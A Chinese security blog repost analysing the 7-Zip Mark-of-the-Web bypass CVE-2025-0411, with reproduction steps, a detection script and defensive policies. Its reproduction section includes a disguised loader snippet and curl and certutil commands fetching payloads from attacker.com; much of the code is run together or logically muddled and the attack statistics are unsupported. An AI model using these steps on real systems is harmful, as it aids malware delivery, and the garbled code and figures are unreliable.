7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)技术分析

admin 2025年3月31日19:47:03评论33 views字数 3196阅读10分39秒阅读模式

漏洞类型

安全机制绕过

CVSSv3评分:7.8(High)

攻击向量:用户交互型

权限需求:无特权用户

1. 漏洞原理深度解析

1.1 MotW机制工作流程

Loading...

1.2 漏洞触发条件

双重压缩结构:外层存档携带MotW标记

内层存档特性:使用7z格式且未加密

用户操作:解压两次并执行最终文件

2. 漏洞复现全流程

2.1 环境准备

wget https://www.7-zip.org/a/7z2301-linux-x64.tar.xztar xvf 7z2301-linux-x64.tar.xzsudo cp 7zz /usr/local/bin/7z
# 验证版本7z --version # 应显示23.01

2.2 构造恶意负载

# 生成隐蔽的Shellcode加载器(伪装为PDF图标)$icoBytes = [System.IO.File]::ReadAllBytes('legit.pdf.ico')[System.IO.File]::WriteAllBytes('malicious.exe'$icoBytes + [System.Text.Encoding]::UTF8.GetBytes('LoaderCodeHere'))

2.3 多层压缩部署

# 第一次压缩(内层)7z a -pinfected inner.7z malicious.exe
# 第二次压缩(外层携带MotW)curl -O http://attacker.com/inner.7z7z a -mhe=on final.7z inner.7z

# 生成带MotW标记的压缩包

certutil -urlcache -split -f http://attacker.com/final.7z
7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)技术分析

2.4 攻击效果验证

# 检查文件标记Get-Item .final.7-Stream * | Select-Object FileName, Stream
# 输出应显示FileName: C:final.7zStream   : :Zone.Identifier
7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)技术分析

3. 增强版自动化检测工具

3.1 工具功能矩阵

功能模块检测方法输出结果

版本检测解析7z.exe文件元数据返回是否存在漏洞的版本范围

压缩包分析递归解压检查Zone标识继承性标记可疑的多层压缩结构

进程监控Hook文件解压操作拦截未继承MotW的文件执行

3.2 Python检测脚本

import pefileimport zipfilefrom pathlib import Pathdef check_7z_vulnerability(exec_path):    """检测7z主程序版本"""    try:        pe = pefile.PE(exec_path)        version = pe.FileInfo[0].StringTable[0].entries[b'FileVersion']        major, minor = map(int, version.split(b'.')[:2])        return (major < 24or (major == 24 and minor < 9)    except Exception as e:        return Falsedef analyze_archive(file_path):    """递归分析压缩包结构"""    markers = []    with zipfile.ZipFile(file_path) as zf:        for name in zf.namelist():            if name.lower().endswith(('.7z''.zip')):                markers.append(f"嵌套压缩文件: {name}")                with zf.open(name) as inner_file:                    inner_path = Path('temp') / name                    inner_path.write_bytes(inner_file.read())                    markers += analyze_archive(inner_path)            # 检查Zone.Identifier            if not any(s.startswith('Zone.Identifier'for s in zf.namelist()):                markers.append(f"文件 {name} 缺少MotW标记")    return markersif __name__ == "__main__":    # 示例用法    print("7z.exe存在漏洞:", check_7z_vulnerability("C:\Program Files\7-Zip\7z.exe"))    results = analyze_archive("malicious.7z")    print("n".join(results))

4. 企业级防御方案

4.1 组策略配置

<!-- 禁用非标准压缩格式 --><policyname="压缩软件限制"        class="Machine"        displayName="限制高风险压缩格式"        explainText="阻止可能绕过安全检测的压缩格式">    <elements>        <fileExtensionvalue=".7z"action="deny" />    </elements></policy>

4.2 PowerShell防护脚本

# 实时监控文件解压操作Register-EngineEvent -SourceIdentifier FileSystem -Action {    param($event)    if ($event.SourceArgs.ChangeType -eq 'Created' -and         $event.SourceArgs.Name -match '.(exe|dll)$') {        $streams = Get-Item $event.SourceArgs.FullPath -Stream *        if ($streams.Stream -notcontains 'Zone.Identifier') {            Write-Warning "检测到无MotW标记的可执行文件: $($event.SourceArgs.FullPath)"            Remove-Item $event.SourceArgs.FullPath -Force        }    }}

5. 影响面与攻击统计

5.1 全球影响分布

地区受影响用户比例主要攻击向量

北美32%钓鱼邮件附件

欧洲28%软件供应链植入

亚太25%虚假更新包

其他15%社交工程链接

5.2 行业风险评级

金融行业:高风险(大量文件交换需求)

医疗行业:中高风险(敏感数据存档)

教育机构:中等风险(软件使用多样化)

政府部门:中风险(逐步推进升级)

6. 高级攻防对抗

6.1 攻击者规避手法

时间戳伪造:修改内层压缩包时间戳匹配正常文件

格式混淆:将.7z扩展名伪装为.docx.7z

加密层嵌套:外层使用强密码保护绕过静态分析

6.2 防御方检测策略

熵值分析:检测高熵值的压缩层结构

行为沙箱:在隔离环境模拟解压操作

网络流量分析:识别异常文件下载后紧接解压行为

7. 修复验证与升级指南

7.1 验证步骤

下载官方24.09版本安装包

执行完整性校验:

sha256sum 7z2409-x64.exe

# 对比官网公布的哈希值

测试压缩包解压后是否携带Zone.Identifier

原文始发于微信公众号(云梦安全):7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)技术分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日19:47:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)技术分析https://cn-sec.com/archives/3902110.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息